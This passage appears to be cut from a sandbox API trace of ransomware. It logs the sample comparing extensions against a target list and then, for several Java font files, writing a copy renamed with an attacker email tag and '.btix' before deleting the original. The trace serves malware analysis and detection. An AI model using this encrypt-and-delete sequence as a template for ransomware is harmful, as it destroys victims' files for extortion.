Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.322] lstrlenW (lpString=".jpg") returned 4 [0131.322] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.322] lstrlenW (lpString=".doc") returned 4 [0131.322] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString=".docx") returned 5 [0131.322] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0131.322] lstrlenW (lpString=".pdf") returned 4 [0131.322] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString=".xls") returned 4 [0131.322] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.322] lstrlenW (lpString=".xlsx") returned 5 [0131.322] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0131.322] lstrlenW (lpString=".ppt") returned 4 [0131.322] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.322] lstrlenW (lpString=".zip") returned 4 [0131.322] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.322] lstrlenW (lpString=".rar") returned 4 [0131.322] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString=".bz2") returned 4 [0131.322] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.322] lstrlenW (lpString=".7z") returned 3 [0131.322] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.323] lstrlenW (lpString=".dbf") returned 4 [0131.323] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.323] lstrlenW (lpString=".1cd") returned 4 [0131.323] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0131.323] lstrlenW (lpString=".jpg") returned 4 [0131.323] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.323] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0131.323] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0131.323] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.323] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=75124) returned 1 [0131.323] CloseHandle (hObject=0x49c) returned 1 [0131.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0131.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.324] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.324] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.324] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.324] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.324] GetLastError () returned 0x0 [0131.324] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x12574, lpOverlapped=0x0) returned 1 [0131.331] WriteFile (in: hFile=0x4bc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x12580, lpOverlapped=0x0) returned 1 [0131.407] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.407] WriteFile (in: hFile=0x4bc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x108, lpOverlapped=0x0) returned 1 [0131.407] SetEndOfFile (hFile=0x4bc) returned 1 [0131.407] CloseHandle (hObject=0x4bc) returned 1 [0131.407] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.407] SetEndOfFile (hFile=0x49c) returned 1 [0131.410] CloseHandle (hObject=0x49c) returned 1 [0131.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.411] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0131.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.411] lstrlenW (lpString=".doc") returned 4 [0131.411] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.411] lstrlenW (lpString=".docx") returned 5 [0131.412] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0131.412] lstrlenW (lpString=".pdf") returned 4 [0131.412] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString=".xls") returned 4 [0131.412] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.412] lstrlenW (lpString=".xlsx") returned 5 [0131.412] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0131.412] lstrlenW (lpString=".ppt") returned 4 [0131.412] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.412] lstrlenW (lpString=".zip") returned 4 [0131.412] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.412] lstrlenW (lpString=".rar") returned 4 [0131.412] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString=".bz2") returned 4 [0131.412] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString=".7z") returned 3 [0131.412] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.412] lstrlenW (lpString=".dbf") returned 4 [0131.412] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.412] lstrlenW (lpString=".1cd") returned 4 [0131.412] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.412] lstrlenW (lpString=".jpg") returned 4 [0131.412] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.412] lstrlenW (lpString=".doc") returned 4 [0131.412] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString=".docx") returned 5 [0131.412] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0131.412] lstrlenW (lpString=".pdf") returned 4 [0131.412] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.412] lstrlenW (lpString=".xls") returned 4 [0131.413] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.413] lstrlenW (lpString=".xlsx") returned 5 [0131.413] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0131.413] lstrlenW (lpString=".ppt") returned 4 [0131.413] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.413] lstrlenW (lpString=".zip") returned 4 [0131.413] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.413] lstrlenW (lpString=".rar") returned 4 [0131.413] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.413] lstrlenW (lpString=".bz2") returned 4 [0131.413] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.413] lstrlenW (lpString=".7z") returned 3 [0131.413] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.413] lstrlenW (lpString=".dbf") returned 4 [0131.413] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.413] lstrlenW (lpString=".1cd") returned 4 [0131.413] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0131.413] lstrlenW (lpString=".jpg") returned 4 [0131.413] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.413] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0131.413] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0131.413] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.414] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=344908) returned 1 [0131.414] CloseHandle (hObject=0x49c) returned 1 [0131.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0131.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.415] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.415] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.415] GetLastError () returned 0x0 [0131.415] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x5434c, lpOverlapped=0x0) returned 1 [0131.590] WriteFile (in: hFile=0x4bc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x54350, lpOverlapped=0x0) returned 1 [0131.596] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.596] WriteFile (in: hFile=0x4bc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x102, lpOverlapped=0x0) returned 1 [0131.596] SetEndOfFile (hFile=0x4bc) returned 1 [0131.596] CloseHandle (hObject=0x4bc) returned 1 [0131.596] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.596] SetEndOfFile (hFile=0x49c) returned 1 [0131.605] CloseHandle (hObject=0x49c) returned 1 [0131.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.606] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0131.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.606] lstrlenW (lpString=".doc") returned 4 [0131.606] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.606] lstrlenW (lpString=".docx") returned 5 [0131.607] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0131.607] lstrlenW (lpString=".pdf") returned 4 [0131.607] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.607] lstrlenW (lpString=".xls") returned 4 [0131.607] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.607] lstrlenW (lpString=".xlsx") returned 5 [0131.607] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0131.607] lstrlenW (lpString=".ppt") returned 4 [0131.607] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.607] lstrlenW (lpString=".zip") returned 4 [0131.607] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.607] lstrlenW (lpString=".rar") returned 4 [0131.607] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.607] lstrlenW (lpString=".bz2") returned 4 [0131.607] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.607] lstrlenW (lpString=".7z") returned 3 [0131.607] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.607] lstrlenW (lpString=".dbf") returned 4 [0131.607] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.607] lstrlenW (lpString=".1cd") returned 4 [0131.607] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.607] lstrlenW (lpString=".jpg") returned 4 [0131.607] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.607] lstrlenW (lpString=".doc") returned 4 [0131.607] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.607] lstrlenW (lpString=".docx") returned 5 [0131.607] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0131.607] lstrlenW (lpString=".pdf") returned 4 [0131.607] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.608] lstrlenW (lpString=".xls") returned 4 [0131.608] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.608] lstrlenW (lpString=".xlsx") returned 5 [0131.608] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0131.608] lstrlenW (lpString=".ppt") returned 4 [0131.608] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.608] lstrlenW (lpString=".zip") returned 4 [0131.608] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.608] lstrlenW (lpString=".rar") returned 4 [0131.608] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.608] lstrlenW (lpString=".bz2") returned 4 [0131.608] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.608] lstrlenW (lpString=".7z") returned 3 [0131.608] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.608] lstrlenW (lpString=".dbf") returned 4 [0131.608] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.608] lstrlenW (lpString=".1cd") returned 4 [0131.608] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0131.608] lstrlenW (lpString=".jpg") returned 4 [0131.608] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.608] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0131.608] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0131.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.609] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=234068) returned 1 [0131.609] CloseHandle (hObject=0x49c) returned 1 [0131.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0131.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.609] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0131.610] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.610] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.610] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0131.610] GetLastError () returned 0x0 [0131.610] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x39254, lpOverlapped=0x0) returned 1 [0132.229] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x39260, lpOverlapped=0x0) returned 1 [0132.234] ReadFile (in: hFile=0x49c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.234] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x104, lpOverlapped=0x0) returned 1 [0132.234] SetEndOfFile (hFile=0x4c4) returned 1 [0132.234] CloseHandle (hObject=0x4c4) returned 1 [0132.234] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.234] SetEndOfFile (hFile=0x49c) returned 1 [0132.239] CloseHandle (hObject=0x49c) returned 1 [0132.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0132.239] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0132.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.426] lstrlenW (lpString=".doc") returned 4 [0132.426] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.427] lstrlenW (lpString=".docx") returned 5 [0132.427] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0132.427] lstrlenW (lpString=".pdf") returned 4 [0132.427] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.427] lstrlenW (lpString=".xls") returned 4 [0132.427] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.427] lstrlenW (lpString=".xlsx") returned 5 [0132.427] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0132.427] lstrlenW (lpString=".ppt") returned 4 [0132.427] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.427] lstrlenW (lpString=".zip") returned 4 [0132.427] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.427] lstrlenW (lpString=".rar") returned 4 [0132.427] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.427] lstrlenW (lpString=".bz2") returned 4 [0132.427] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.427] lstrlenW (lpString=".7z") returned 3 [0132.427] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.427] lstrlenW (lpString=".dbf") returned 4 [0132.427] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.427] lstrlenW (lpString=".1cd") returned 4 [0132.427] 